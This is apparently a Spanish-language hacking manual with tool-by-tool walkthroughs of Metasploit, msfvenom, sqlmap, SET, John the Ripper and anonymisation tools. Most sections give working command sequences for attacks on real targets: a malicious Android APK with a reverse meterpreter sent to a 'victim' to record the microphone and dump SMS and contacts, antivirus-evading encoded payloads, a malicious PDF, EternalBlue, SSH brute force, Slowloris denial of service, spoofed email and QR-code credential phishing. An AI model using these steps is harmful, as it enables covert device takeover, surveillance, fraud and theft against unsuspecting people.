nikto -h 186.104.43.152 -Plugin @@ALL

Utiliza todos los

plugins

Desactivar las funciones interactivas del usuario:

nikto -h 186.104.43.152 -nointeractive

Nikto Manual: https://cirt.net/nikto2-docs/


METASPLOIT

Metasploit es una suite de pentest que tiene como

objetivo brindar información detallada acerca de

vulnerabilidades del sistema. Permite la ejecución

remota de un sistema a través de un exploit o payload.

Exploit: Es un código o programa malicioso que se aprovecha de un

vulnerabilidad o bug para comprometer la seguridad de un sistema o

aplicación.

Payload: Es un código que se ejecuta después de ejecutar el código de

explotación, permitiendo una conexión entre el atacante y la víctima por

medio de una shell de comandos.

Auxiliary: Realiza diversas tareas, tales como ataques por fuerza

bruta, escaneo de puertos, mitigar amenazas sobre un sistema vulnerable.

Encoder: Permite cifrar nuestros paylaods o exploits, y hacerlos

indetectables contra Firewall y AntiVirus.

Iniciar

msfconsole

Metasploit contiene por defecto:

2045 exploits – 1106 auxiliary – 344 post – 562 paylodas

- 45 encoders – 10 nops – 7 evasion


Entre los exploits:

Entre los payloads:

Entre los auxiliares:

Entre los encoders:

Workspace: permite organizar los datos para trabajar

una nueva prueba de penetración y evitar la acumulación

de pruebas anteriores.

workspace -a "name"

Posición que ocupa actualmente.


Eliminar workspace:

workspace -d "name"

Vulns: permite escanear vulnerabilidades vigentes y

“potencia” de la misma.

search vulns

Filtrar todos los exploits disponibles:

search exploits


Filtrar exploits de una plataforma:

search exploits platform:android

o

search exploits platform:windows

Ejecutar exploit en servidor HTTP(S)

Este método nos ofrece información sobre la versión del

servidor web en diferentes puertos.

Ingresamos a la siguiente ruta en metasploit:

use auxiliary/scanner/http/http_version

Puerto 80 (http):

set RHOST "host"

set RPORT 80

exploit

Tipo de servidor web en que se aloja el

sitio + su versión (Apache/2.2.32),

módulo de apache (mod_ssl) y API para

encriptar datos enviados (OpenSSL)


Puerto 443 (https):

set RPORT 443

exploit

Vulnerar dispositivo Android

Conseguiremos vulnerar un sistema Android y obtener una

sesión meterpreter.

Meterpreter es de gran utilidad ya que nos permitirá

obtener información del objeto comprometido y manipular

procesos del sistema (tomar una foto, descargar

archivos, ver contactos de la tarjeta SIM, ver y editar

carpetas/archivos, cargar el módulo sniffer, etc).

Usaremos el exploit “exploit/multi/handler”:

use exploit/multi/handler

Seguidamente, escogeremos el Payload:

set payload android/meterpreter/reverse_tcp


Asignamos nuestra IP (LHOST) y puerto (LPORT):

set LHOST "IP"

set LPORT 8080

Ahora tenemos que crear la apk maliciosa con msfvenom:

msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=8080 R > NOMBRE.apk

A continuación, debemos de subir el apk a un servicio

de alojamiento de archivos (Mediafire, MEGA), en mi

caso lo haré en anonfiles.com:

Copiamos el enlace y se lo enviamos a la víctima para

que lo descargue.

Por último, vamos a la terminal y ejecutamos “exploit”

o “run”, y esperaremos a que instale la aplicación.


Como se observa, la víctima ha instalado el apk

malicioso entregando acceso del móvil por completo.

Sacar una foto “sigilosa”:

webcam.snap -i "opción"

Grabar el micrófono:

record_mic -d "time"

Comprobar si el dispositivo está rooteado:

check_root


Obtener todos los números de sus contactos:

dump_contacts

Enviar un SMS (el teléfono mantendrá una copia

también):

send_sms -d "número" -t "mensaje"

Recuperar un registro de todos los SMS:

dump_sms


Interactuar con una shell:

Desplegar lista de comandos:

help


Evadir Antivirus

Metasploit ofrece una gran variedad de encoders con su

respectiva probabilidad de interrupción.

Encoders: codificadores para evasión de antivirus y

sistemas de seguridad.

Desplegar lista de encoders:

msfvenom -l encoders

Incrustar el codificador en un apk malicioso:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.222.128

LPORT=4444 -e x86/shikata_ga_nai -i 8 -f exe -o /home/whoami/Escritorio/software.exe

“-a” tipo de arquitectura.

“-p” tipo de payload.

“-e” añadir el encoder.

“-i” número de veces que se codifica el

payload.

“-f” formato de salida.

“-o” guardar el payload.

Encoder

Rank

shikata_ga_nai

excellent


Una vez codificado el apk, lo pasamos por

virustotal.com y nos arrojará resultados de posibles

evasiones:

52 de 68 Antivirus marcaron el apk como

malicioso, mientras 16 pasaron por alto

Probemos con otro encoder:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.222.128

LPORT=4444 -e x86/service -i 4 -f exe -o /home/whoami/Escritorio/software.exe


Encoder

service

Rank

manual

Antivirus como Avast, Panda, AV, siendo lo

más conocidos y en mayor de los casos muy

instalados, no lo detecta.

Conclusión: se trata de ir probando codificadores e ir

analizándolo para obtener una mejor probabilidad de

intrusión con la mínima detección posible, lo mismo con

los valores.

CTF – Capture The Flag

Captura la bandera es un juego en donde dos equipos

tienen que resolver desafíos en el menor tiempo posible

y antes que el enemigo, las banderas son llaves “keys”.

Estas competiciones permiten poner a prueba nuestras

habilidades de hacking mediante diferentes retos que

nos propongan. Contiene una variedad de categorías:

Criptografía, Análisis Forense, Esteganografía,

Explotación, Hacking Web, Ingeniería Inversa y mucho

más.


Plataformas para practicar de forma legal:

• https://www.hackthebox.eu/

• https://pentesterlab.com/

• https://www.root-me.org/

• https://www.vulnhub.com/

• https://tryhackme.com/

• https://www.hacker101.com/

ROOT-ME

Root-me cuenta con más de 200 ejercicios y 50 entornos

virtuales, además de ser gratuito, también podemos

seleccionar nuestro idioma.

Realizaré una pequeña prueba, es importante crearse

una cuenta para poder jugar, eligen cualquier sala y

seleccionan el entorno virtual, en mi caso "Basic

Pentesting 1".

Iniciamos el partido, nuestro objetivo se encuentra en

el fichero /passwd para validar la flag. Comenzaremos

con un escaneo básico con nmap a la dirección que nos

proporcionaron: ctf05.root-me.org


nmap -p 21,22,80 -A ctf04.root-me.org

Escanear puertos específicos

Detección de SO y versiones, escaneo de scripts

El puerto 21 tiene el servicio FTP corriendo,

su versión es ProFTPD 1.3.3c

Encontrar el exploit adecuado con Google:


Encontrar el exploit adecuado con Searchsploit:

searchsploit ProFTPD 1.3.3c

Ejecutamos metasploit y buscamos un módulo para

aprovechar dicha vulnerabilidad:

search ProFTPD 1.3.3c

"use 0” para seleccionar el módulo o “use

exploit/ftp/proftpd_133c_backdoor"

A continuación, hay que asignar el RHOST, se obtiene

haciendo ping a la dirección:


set RHOSTS 212.129.29.187

Buscamos el payload correspondiente:

show payloads

Seleccionan el payload:

Recomiendo el reverse_perl o bind_perl

set payload cmd/unix/bind_perl

Por último, añadimos el LHOST y ejecutamos "exploit":

set LHOST 192.168.1.9

Se abrirá una sesión meterpreter y ejecutamos "ls" para

mostrar todos los ficheros:


Fichero objetivo

Con "cat" mostramos el contenido del fichero donde se

guarda la Key:

cat passwd

Key para validar la flag

Password Found!


Crear PDF Malicioso

La explotación por medio de un PDF es uno de los métodos

más recurrido por parte de hackers y crackers, dado que

puede resultar en un ataque exitoso si se acompaña con

ingeniería social. Este tipo de ataque suele ser

ejecutado a empresas como punto blanco para comprometer

los equipos de los empleados; utilizando correos

electrónicos para adjuntar el archivo malicioso,

memorias USB y demás.

Metasploit incorpora de un módulo llamado "Adobe PDF

Embedded EXE", éste es un exploit que va acompañado junto

a un payload para luego ser enviado a la víctima.

Existe una variedad de exploit para incrustar a un PDF,

pero el que usaremos tiene un rango excelente, a

comparación de los otros.

search type:exploit platform:windows adobe pdf

Seleccionan el exploit a usar:

use exploit/windows/fileformat/adobe_pdf_embedded_exe


En la opción de “FILENAME” es el nombre que tendrá

nuestro archivo PDF.

Si desean cambiarlo solo bastaría con ejecutar lo

siguiente:

set FILENAME "nombre.pdf"

Lo mismo sería con el LHOST y LPORT:

set LHOST "IP-Local"

set LPORT "Puerto"

Recuerden que la IP va a depender de su adaptador de

red:

Seguidamente ejecutamos “exploit” para crear el PDF:


El archivo se guardo en la ruta "/root/.msf4/local/" y

debemos moverlo a "/var/www/html" ya que es la carpeta

raíz del servidor web que estaremos corriendo para que

la víctima descargue el archivo (de forma local):

mv /root/.msf4/local/"nombre.pdf" /var/www/html/

En mi caso la máquina que intentaré infectar es Windows

7, así que seleccionaré el payload destinado para él:

set payload windows/meterpreter/reverse_tcp

Aquí también es importante que configuremos la dirección

IP y el Puerto del payload con el que habíamos puesto

anteriormente al crear el PDF:

En una nueva terminal tendremos que encender apache2

para que cualquier dispositivo que este conectado a

nuestra red pueda acceder a nuestra carpeta raíz y

descargar el PDF:

sudo service apache2 start

sudo service apache2 status

Encender

Ver estado


El exploit de "multi/handler" es la pieza fundamental del

procedimiento, se encarga de escuchar las conexiones

entrantes del payload y si tenemos éxito, nos brindará

una shell interactiva:

use exploit/multi/handler

En caso de que los valores se modifiquen, deberán

seleccionar nuevamente el payload ya especificado y

modificar su LHOST:

Ahora es momento de ejecutar "exploit" y esperar

conexiones:

Enlace que se debe enviar a la víctima: http://IP/nombre.pdf

Ej:

http://192.168.1.9/trabajo.pdf

El PDF no tiene contenido pero no importa ya que la

víctima lo tuvo que ejecutar para darse cuenta, a no ser

que quieran mantener acceso y no generar sospechas.


Mientras que por otro lado se abre una sesión

meterpreter y podemos navegar dentro del sistema:

Este ataque también puede ser llevado a cabo fuera de la

red LAN, simplemente reemplazan su IP por el enlace de

Ngrok y el puerto correspondiente.

Cabe recalcar que este exploit solo sirve para sistemas

Windows XP SP3 / Windows Vista / Windows 7. Además de

contar con Adobe Reader en las versiones de 8 y 9 para

efectuar el ataque con éxito.

Explotar vulnerabilidad EternalBlue

EternalBlue es un exploit que fue desarrollado por la

NSA (Agencia de Seguridad Nacional de los EE.UU) y

filtrado por el grupo de hackers Shadow Brokers. Este

exploit se aprovecha de una vulnerabilidad en SMBv1

(Server Message Block versión 1) presente en todos los

sistemas operativos Microsoft Windows entre el 95 y

Windows 10. Está vulnerabilidad es capaz de otorgar el

control completo de la computadora sin requerir

interacción por parte del usuario, lo que lo vuelve más

peligroso. SMB es un protocolo de comunicación que se

utiliza para compartir el acceso a archivos, impresoras,

y otros recursos de redes como enrutadores o interfaces

de red.


Antes de ejecutar el ataque, es de gran utilidad pasar

el Host de la máquina por un escáner y comprobar si la

versión de Windows es vulnerable o no. Para ello,

abrimos una nueva sesión de Metasploit y buscaremos si

existe algún escáner de EternalBlue:

search eternalblue

Luego de identificar y seleccionar el auxiliary,

configuramos el RHOTS (IP de la máquina víctima):

use auxiliary/scanner/smb/smb_ms17_010

set RHOSTS "IP"

Finalmente ejecutamos "exploit" y observamos como la

versión de Windows es vulnerable a EternalBlue:

Ahora es momento de elegir el exploit y configurar el

objetivo (target):

use exploit/windows/smb/ms17_010_eternalblue


set RHOSTS "IP"

Después asignamos el payload para windows de

arquitectura de 64 bits y configuramos el LHOST con la

IP privada de nuestra máquina:

set payload windows/x64/meterpreter/reverse_tcp

set LHOST "IP"

Posteriormente ejecutamos "exploit" y verán que se abre

una sesión exitosa de meterpreter:

Y es así como se obtiene acceso total al sistema sin

necesidad de que el usuario víctima interactúe.


Fuerza Bruta al protocolo SSH

SSH (Secure Shell) es un protocolo de administración

remote que permite a un cliente y servidor intercambien

información de forma cifrada por medio de técnicas

criptográficas. Además, también gestiona claves RSA para

no tener que escribir contraseñas al conectar los

dispositivos y que los datos pasen por de un canal

seguro mediante el túnel SSH y éste redirige el tráfico.

Para acceder al protocolo SSH es tan simple como saber

el usuario y la contraseña de éste, y desde luego,

conocer la dirección IP del dominio para conectarse

remotamente. En el siguiente ejemplo veremos como

podemos adivinar el usuario y contraseña de SSH con

Metasploit.

Para este caso vamos a utilizar el auxiliary de fuerza

bruta SSH:

use auxiliary/scanner/ssh/ssh_login

Posteriormente, configuramos el RHOSTS (IP víctima) y la

ruta de nuestros diccionarios a adivinar:

set RHOSTS "IP"

set USER_FILE "users.txt"

set PASS_FILE "pass.txt"


Si desean ver que comprobaciones realiza metasploit

sobre los usuarios y contraseñas, entonces activan el

modo verbose:

set verbose true

Por último, ejecutamos "exploit" y vemos con empieza a

probar hasta dar con las credenciales correctas:

Conectarse al SSH:

ssh "USER"@"IP"

En caso de que les de el siguiente error al conectarse:

Deben agregar estas dos últimas líneas al final del

Host:

sudo nano /etc/ssh/ssh_config


Denegación de Servicio - Slowloris

Un ataque de Denegación de Servicio (DoS) consiste en

saturar un servidor o recurso de red a través de envíos

masivos de solicitudes/paquetes hacia el objetivo,

sobrecargándolo con tráfico malintencionado y haciendo

que éste colapse. A diferencia de un ataque de

Denegación de Servicio Distribuido (DDoS) es que éste es

mucho más potente que un DoS, por la razón que ocupa más

recursos y es necesario atacar de varios ordenadores

para efectuar un ataque exitoso, mientras que un DoS se

realiza todas las peticiones desde un solo ordenador. En

la mayoría de los casos se hace uso de una Botnet, un

tipo de malware que infecta varios ordenadores para ser

controlados remotamente por el atacante para realizar

actividades maliciosas (por ejemplo, un DDoS). Si bien

es cierto que para que un ataque DoS sea efectivo es

imprescindible contar con una banda de ancha de internet

considerada, de no ser así, nuestra conexión caerá y el

ataque se detendrá.

Slowloris es un ataque que se concentra en la capa de

aplicación por medio de solicitudes HTTP hacia el

servidor, para que éste mantenga conexiones abiertas

todo el tiempo posible. Este ataque esta diseñado para

derribar un servidor desde una sola máquina.

El script se puede ejecutar desde Metasploit como lo

haré en este caso, pero más adelante les mostraré de

forma manual. Slowloris utiliza el puerto 80 (HTTP) para

realizar las solicitudes, por lo que voy a escanear el

host en busca de una posible vulnerabilidad de Slowloris

DoS con Nmap:


nmap -p 80 --script vuln "IP"

Luego de haber encontrado una posible vulnerabilidad

Slowloris en el host, proseguiré a ejecutar metasploit y

buscar un auxiliary para este ataque:

search dos slowloris

use auxiliary/dos/http/slowloris

Después, configuran el RHOST (IP víctima) y los sockets

(paquetes a enviar):

set RHOST "IP"

set SOCKETS "VALOR"

El "delay" representa la cantidad de tiempo ha enviar los

paquetes:

set delay "SEGUNDOS"

Por último ejecutan "exploit"

y comenzará a generar los

sockets y redireccionarlos al

host.


De forma MANUAL

Para este caso estaré haciendo uso de SearchSploit para

buscar el script de slowloris:

searchsploit dos slowloris

Cada exploit esta enumerado con una cifra y es

irrepetible, en este caso es el "8976". Para descargar el

script, ejecutan el siguiente comando

searchsploit -m 8976

El script está programado en lenguaje Perl. Un ataque de

DoS HTTP básico se realiza de la siguiente forma:

./8976 -dns "TARGET" -port 80 -num 500

Dominio objetivo

Puerto por donde

se enviarán las

peticiones

Cantidad de sockets a enviar

Los servidores de Apache

promedio tienden a caer

entre 400 y 600 sockets

con una configuración

predeterminada.


JOHN THE

RIPPER

John the Ripper es una herramienta para descifrar

contraseñas utilizando la fuerza bruta por parte de

diccionarios, su propósito principal es detectar

contraseñas débiles y tener acceso remoto o local.

Detecta los tipos de hash que contiene e incluye un

cracker personalizado.

A modo de ejemplo creare un usuario y contraseña:

En el archivo shadow encontramos la contraseña con

seguridad (hash).

cd /etc/

nano shadow

Combinar los dos archivos en uno:

unshadow /etc/passwd /etc/shadow > descifrar.txt

Por defecto, john trae un diccionario el cual se puede

modificar:

cd /usr/share/john/

nano password.lst


Descifrar contraseña:

john --format=sha512crypt descifrar.txt

Password

User

Mostrar lista de formatos de cifrado compatibles:

john --list=formats

Recordar la contraseña crackeada:

john --show diccionario.txt

Single crack: realizar un crackeo más rápido.

john --single diccionario.txt

Incremental: prueba todas las posibles combinaciones de

caracteres para dar con la clave, considerado muy

potente.

john --incremental diccionario.txt

Sus modos: all, alpha, alnum, digits, lanman.

Ej:

john --incremental=digits diccionario.txt

john -i=alpha diccionario.txt


Descifrar hash MD4:

john --format=Raw-MD4 --wordlist="wordlist.txt" "hashes.txt"

Nombre del hash a crackear Diccionario Fichero con hashes a descifrar

Descifrar hash RipeMD-128:

john --format=ripemd-128 --wordlist="wordlist.txt" "hashes.txt"

John es capaz de identificar el tipo de hash antes de

descifrarlo y para esto es necesario pasar el fichero

donde tenemos el hash almacenado:

john "hash.txt"

Descifrar hash SHA512:

john --format=Raw-SHA512 --wordlist="wordlist.txt" "hashes.txt"


WIRESHARK

Wireshark es un analizador de paquetes multiplataforma

muy popular entre los administradores de redes.

Funciona como un sniffer, realiza un escaneo en la red

de todo el tráfico generado en un tiempo específico,

tiene la posibilidad de capturar credenciales y

cookies.

Protocolos que lee:

- TCP

- HTTP

- SSL

- DNS

- ARP

- POP

- FTP

Seleccionamos la interfaz disponible a capturar.

Comenzará a capturar los paquetes que viajan en nuestra

red:


Separar paquete por

IP, Protocolo

Cantidad de paquetes capturados

Listado de paquetes capturados en

tiempo real

Estado/panel de vista del

paquete con mayor detalle

Panel de paquetes de bytes

en hexadecimal

Protocolo ICMP: Muestra las conversaciones (peticiones)

entre el ordenador y puerta de enlace.

ping google.com

Protocolo DNS: Ver el comportamiento/consulta.


Capturando credenciales (Protocolo HTTP):

Filtrar una IP:

ping.addr == "IP"

Obtener los GET y POST capturados:

Follow TCP Stream: Extraer toda la secuencia del

paquete completo.

Capturar paquetes TCP sobre el puerto 443:


Filtrar paquetes del protocolo Ethernet:

Dirección MAC

Filtrar por dominio o host:

Excluir protocolos de los paquetes capturados:

Ejemplo

not ssl

not dns

not http

Filtrar comunicación de correos electrónicos:

Protocolo

Mostrar el tráfico:

Filtrar el tráfico entre dos servidores:

IP 1 IP 2

Filtrar paquetes enviados por un dispositivo:

Wireshark: https://wireshark.org/


PROXYCHAINS

ProxyChains es una herramienta de código abierto que

proporciona anonimato y seguridad. Redirige las

conexiones TCP a través de proxys como SOCKS4, SOCKS5,

TOR, HTTP(S), permitiendo ocultar nuestra verdadera

dirección IP del tráfico, evadir IDS y firewalls.

Instalación y uso:

Primeramente, instalamos tor desde la terminal:

sudo apt-get install tor

Iniciar tor:

sudo service tor start

Comprobar si ha iniciado:

sudo service tor status

Seguidamente, modificamos el archivo de proxychains:

sudo nano /etc/proxychains.conf


Realizar los siguientes cambios:

- Desmarcar (#) la línea dynamic_chain

- Comentar (#) la línea strict_chain

- Agregar al final socks5 127.0.0.1 9050

CTRL + O para guardar

CTRL + X para salir

Ejecutar proxychains:

proxychains "herramienta"

Ej:

proxychains firefox


SQLMAP

SQLMap es una herramienta automática para realizar

pruebas de penetración (SQL Injection) en base de

datos.

SQL Injection:

Es uno de los ataques más utilizados contra base

de datos, el ataque tiene como objetivo recopilar

información sensible, como usuarios, contraseñas,

correos electrónicos, códigos de verificación,

números de tarjetas de crédito y demás.

Dorks:

Es una técnica utilizada en el campo hacking

para la búsqueda avanzada de Google. Suele

usarse para la obtención de información,

mejores resultados de búsqueda, encontrar

cámaras de seguridad, documentos, inyección

SQL y XSS.

Lista de Dorks:

details.php?prodId=

product/product.php?product_no=

book.php?ID=

print.php?id=

allinurl: /news.php?id=

content.php?PID=

view_items.php?id=

main.php?id=

product_details.php?prodid=

products.php?p=

news.php?id=

abroad/page.php?cid=

inurl:pages.php?id=

inurl:product.php?id=

item.php?eid=

Lista completa: https://github.com/R3LI4NT/dorks-sql-injection


Comandos básicos:

-u URL víctima.

-p Parámetro de la URL.

--dbs Muestra las bases de datos.

-D Especificar base de datos a explotar.

-T Especificar la tabla.

--tables Muestra todas las tablas de la base de datos especificada.

--columns Muestra las columnas de la tabla seleccionada.

--dump Vuelca toda la información de la tabla.

Lanzar el ataque para afirmar si el sitio es

vulnerable:

sqlmap -u "URL"

Ej:

sqlmap -u http://www.site-web.com/article.php?id=55

El parámetro "cat" es vulnerable a inyección SQL, incluso a una

carga de un Payload

Listar las bases de datos:

sqlmap -u "URL" --dbs


Escanear las tablas de la base de datos que elijamos:

sqlmap -u "URL" -D acuart --tables

Escanear columnas de la tabla “users”:

sqlmap -u "URL" -D acuart -T users --columns

Extraer el contenido de la columna:

sqlmap -u "URL" -D acuart -T users -C email,pass,name --dump

Web de ejemplo: http://testphp.vulnweb.com/listproducts.php?cat=1


SETOOLKIT

Setoolkit (Social Engineer Toolkit) mas conocido como

SET, es un conjunto de herramientas especializadas en

realizar ataques de ingeniería social, esta programado

en Python.

Permite suplantar fácilmente la identidad de un sitio

web, enviar ataques masivos por mail a cuentas de

correos electrónicos de una compañía o a un usuario en

específico, también incorpora ataques con el framework

de Metasploit para pentesting.

Ejecutar SET con "setoolkit"

La opción 1 corresponde a los ataques de ingeniería

social nombrados anteriormente, la opción 2 contiene

vectores de ataques con una serie de exploits y

automatización para pruebas de penetración.


EMAIL SPOOFING

La suplantación de correo electrónico es una técnica

utilizada en ataques de spam y phishing para engañar a

los usuarios haciéndoles pensar que un mensaje proviene

de una persona o empresa en cual pueden confiar. El

atacante falsifica los encabezados de correo

electrónico para que el software del cliente muestre la

dirección del remitente fraudulenta, así que harán clic

en enlaces maliciosos, abrirán archivos adjuntos de

malware, incluso enviarán datos confidenciales.

Crear un Email Spoofing

Iniciamos el SET y seleccionamos la opción 1:

Seguidamente, escogemos la opción 5:

La opción 1 permite enviar el correo electrónico a un

solo usuario, mientras la 2 a varias direcciones:


Añadimos el email de la víctima:

Tenemos la posibilidad de mandar el email desde un

correo falso creado por nosotros o utilizar nuestro

propio servidor SMTP. Sugiero hacerlo desde un SMTP,

por la única razón que pueden sustituir la dirección de

correo por cualquier otro. Por ejemplo, soporte@facebok,

lo importante es que se vea creíble.

En mi caso lo haré con un correo falso creado por mi,

por lo cual nos pedirá nuestro email:

Server SMTP

Normal

En FROM NAME agregamos un nombre a la dirección, luego

introducimos la contraseña de nuestro email:


Es importante marcar el mensaje como “flag”, esto

simula que es de alta prioridad, después hecho lo

anterior, si deseamos agregar un archivo en particular

(imagen, video) debemos insertar la ruta donde se

encuentra. Por último, ofrece adjuntar un archivo en

línea, cuando haga clic se traslade a un servidor, por

ejemplo, de exploits:

Añadimos el asunto del email. El mensaje puede ser

enviado en código HTML o texto plano, el HTML es

sospechoso así que no lo recomiendo en este caso. Para

finalizar, introducimos el cuerpo del mensaje, con

ENTER damos saltos de línea, al terminar agregamos

“END”:

Correo enviado con éxito:


El lado de la víctima:

El lado del atacante:

Datos a tener en cuenta

• No se olviden de cambiar la foto de perfil.

• Revisar la ortografía.

• Adjuntar imágenes en caso de ser necesario y creíble.

• Recabar información sensible de la persona, empresa u

organización para asegurar confianza.


QR CODE ATTACK (Phishing)

En la actualidad los códigos QR están en todas partes,

en productos, colegios, en los anuncios de la calle, el

objetivo de estos códigos es ser utilizado con fines de

marketing o para obtener más información acerca de un

servicio o producto. Sin embargo, el uso amplio de

códigos QR puede ser una ventaja para los

ciberdelincuentes y los probadores de penetración

ética. Los ciberdelincuentes aprovechan esta técnica

para atacar usuarios desinformados, con el propósito de

robar sus credenciales, mientras que en pentesting

pueden incluir este tipo de ataques en sus compromisos

de ingeniería social.

Creando un código QR malicioso

Iniciamos el SET y seleccionamos la opción 1:

Luego, la opción 2:


Continuamos con la opción 3:

Permite escoger una plantilla web personalizada o

añadir la nuestra. A modo de ejemplo, optaré por una ya

creada:

Seguidamente, insertamos nuestra IP local:

Seleccionamos la web a suplantar:

Importante no cerrar esta terminal

Por último, abrimos una nueva terminal y ejecutamos

nuevamente el SET (opción 1):


Esta vez vamos a generar el código QR, por ello,

elegimos la opción 8:

Ingresamos la URL donde irá el código QR, pondré la IP

local + el puerto 80:

Código QR generado:

Mover el código al escritorio:

cp /root/.set/reports/qrcode_attack.png /ruta/ruta

Quedaría de la siguiente manera:


Lo escaneamos con nuestro teléfono:

Cuando la víctima ingrese los

datos nos llegará a la primera

terminal:

IMPORTANTE

Muchas personas escanean un código QR desconocido con sus

teléfonos móviles personales solo porque quieren saber más

acerca del producto. En muchos casos los usuarios

malintencionados están utilizando este ataque para enviar

malware y robar credenciales a los usuarios desprevenidos.

Si no estás seguro de escanear el código QR le aconsejo de

no hacerlo, de lo contrario, tome las mejores precauciones

posibles.


Fuera de la red LAN

El ataque anterior solo funciona dentro de la misma

red, lo cuál no es conveniente si se quiere hacer a

distancia. Haremos uso de ngrok.

¿Qué es NGROK?

Ngrok es un servicio que le permite convertir su servidor local en

un servidor accesible a un subdominio generado aleatoriamente, y así

poder visualizarlo desde cualquier dispositivo en cualquier parte

del mundo.

Descarga e instalación de NGROK

Es obligatorio crearse una cuenta antes de la descarga:

Copiamos el authtoken:

Web oficial: https://ngrok.com

Abrimos una nueva terminal, descomprimimos el zip y

copiamos el athtoken:


En una nueva terminal ejecutamos ngrok con el servicio

http y el puerto 80:

./ngrok http 80

No cerrar esta terminal

Sigan los pasos anteriores, solo que ahora deben

reemplazar la IP local por la dirección de ngrok:

Mismo resultado


NETDISCOVER

Netdiscover es una herramienta para sondear la red

inalámbrica, identificar a todos los dispositivos

conectados y recopilar información del mismo. Detecta

pasivamente hosts en línea o buscarlos enviando

solicitudes ARP. Además, se puede colocar en modo

“sniffer” para inspeccionar el tráfico ARP de la red.

Protocolo ARP

El protocolo ARP sirve para mapear direcciones IP/MAC, es decir

que permite desde un dispositivo conectado a la red LAN obtener

información de otro dispositivo conectado a la misma red. Una

solicitud ARP es un broadcast (paquete de datos) que se

transmite a todos los dispositivos de la LAN. La solicitud ARP

contiene la dirección IP del host destino y la dirección MAC

del broadcast, los nodos de la LAN reciben y examinan la

información, el nodo cuya IP coincide con la IP de la solicitud

responde, esta respuesta se utiliza para crear una nueva

entrada en la tabla ARP del nodo de envío, de manera que se

muestran las direcciones organizadas de cada dispositivo según

su IP y MAC.

Poniendo a prueba NetDiscover

Identificar interfaces:

ifconfig -a


Capturar dispositivos conectados a nuestra red:

netdiscover -i wlan0 -r 192.168.1.1/24

Interfaz de red

Escaneo para un rango de IP

Escanear una lista de rangos de un documento:

netdiscover -i wlan0 -l /dic1/dic2/archivo/

COMANDOS DE USO

-i: Interfaz de red.

-r: Escanea un rango de IP.

-l: Escanea una lista de rangos contenidos en un archivo.

-p: Modo pasivo, solo olfatea “sniffing”.

-m: Escanea una lista de nombres hosts y MAC conocidos.

-F: Personalizar la expresión del filtro.

-s: Definir el tiempo de cada solicitud ARP.

-c: Número de veces para enviar cada solicitud ARP.

-n: Último octeto de IP de origen utilizado para escanear.

-d: Ignorar archivos de configuración de inicio para un escaneo

automático y rápido.

-f: Habilitar el modo rápido, ahorra tiempo.

-P: Imprimir los resultados en un formato específico para ser leído en

otro programa.

-L: Similar a “-P” pero continúe escuchando después de que se complete

el escaneo activo.

-N: No imprima el encabezado, solo válido cuando –P o –L está

habilitado.

-S: Habilitar la supresión del tiempo de reposo entre cada solicitud

(modo hardcore).


ANONSURF

Anonsurf es una herramienta popular creada únicamente

para la distribución Parrot OS. Cuenta con un

repositorio especial para Kali Linux, utiliza la red

TOR para ocultar la dirección IP real y añade una capa

de cifrado en nuestro tráfico de red.

Instalación y uso:

Clonar el repositorio de github:

git clone https://github.com/Und3rf10w/kali-anonsurf

Luego nos situamos en dicho repositorio:

cd kali-anonsurf

Y proseguimos con su instalación:

./installer.sh o bash installer.sh


Para usar anonsurf se puede utilizar los siguientes

comandos:

anonsurf start

Iniciar la herramienta.

Al momento de comprobar nuestra IP en un IPLocator

online saldrá lo siguiente:

Detener anonsurf:

anonsurf stop


Cambiar de dirección IP:

anonsurf change

Ver IP actual

Comprobar si anonsurf está funcionando correctamente:

anonsurf status

Acerca de otras opciones:


TORGHOST

TorGhost es un script de anonimización, redirige todo

el tráfico de Internet a través del proxy SOCKS5 tor.

Las solicitudes de DNS también se redirigen a través de

tor, evitando así DNSLeak. Deshabilita los paquetes

inseguros que salen del sistema, algunos paquetes como

la solicitud de ping pueden comprometer la identidad, y

por ende, este script se encarga automáticamente de no

filtrar ningún ping.

La filtración DNS puede resultar relativamente grave ya

que las fugas permite que nuestro proveedor de internet

(ISP) pueda rastrear nuestros datos de navegación como

que páginas visitamos, nuestra ubicación mediante la

IP, entre otras.

Instalación y uso:

TorGhost es caracterizado por ser un script fácil de

instalar. Primeramente, clonamos el repositorio con el

siguiente comando:

git clone https://github.com/SusmithKrishnan/torghost


Entramos en el directorio y le concedemos permisos:

cd torghost && chmod +x build.sh

Seguidamente, continuamos con su instalación:

./build.sh

bash build.sh

En caso de que el primero no funcione

Volvemos a darle permisos pero esta vez al archivo

python:

chmod +x torghost.py

Por último, ejecutamos el script:

python3 torghost.py

-s Iniciar Torghost

-r Solicitar un nuevo nodo de salida

-x Detener Torghost

-h Buscar ayuda

-u Buscar actualizaciones

Poner en marcha torghost:

python3 torghost.py -s


Verificamos nuestra IP:

curl ifconfig.me

Cambiar a otra dirección IP:

python3 torghost.py -r

Detener Torghost y reestablecer la IP:

python3 torghost.py -x


MACCHANGER

Macchanger es una herramienta que como su nombre lo

indica, sirve para cambiar/manipular direcciones MAC de

cada interfaz de red.

Instalación y uso:

Está herramienta viene preinstalada en Kali Linux y

soporta otras distribuciones, pero si deseamos

instalarla solo hace falta ejecutar el siguiente

comando en la terminal:

sudo apt-get install macchanger

Para conocer nuestra interfaz de red es necesario abrir

la terminal e introducir:

iwconfig

Lo siguiente es conocer nuestra MAC original:

macchganger -s wlan0

Imprimir la dirección MAC

Interfaz


Antes de cambiar la dirección MAC de un dispositivo es

necesario desactivar la interfaz de red:

sudo ifconfig wlan0 down

Luego de reconocer nuestra MAC e interfaz solo queda

por cambiar la MAC por una falsa:

macchanger -m 00:01:02:03:04:05 wlan0

Si quisiéramos cambiarla por una dirección aleatoria:

macchanger wlan0 -r

Por último, solo quedaría activar nuevamente la

interfaz de red:

sudo ifconfig wlan0 up

Si volvemos a chequear nuestra dirección MAC:

Restablecer la dirección MAC a la original:

macchanger -p wlan0


Macchanger incorpora de una lista con la mayor cantidad

de direcciones MAC´s existentes, y lo mejor, se puede

hacer uso de ella para falsificar nuestro dispositivo

en la red por otro.

macchanger -l

En caso de buscar una dirección en específico, deben de

acompañar el comando con el carácter de pleca “|” +

“grep” y la palabra clave. Ejemplo:

macchanger -l | grep "Samsung"

A modo de ejemplo, utilizaré la MAC de la NSA (Agencia

de Seguridad Nacional de los EE.UU.):


Luego de haber identificado la MAC a suplantar, solo

quedaría por sustituirla con el siguiente comando:

macchanger --mac="MAC" "interfaz"

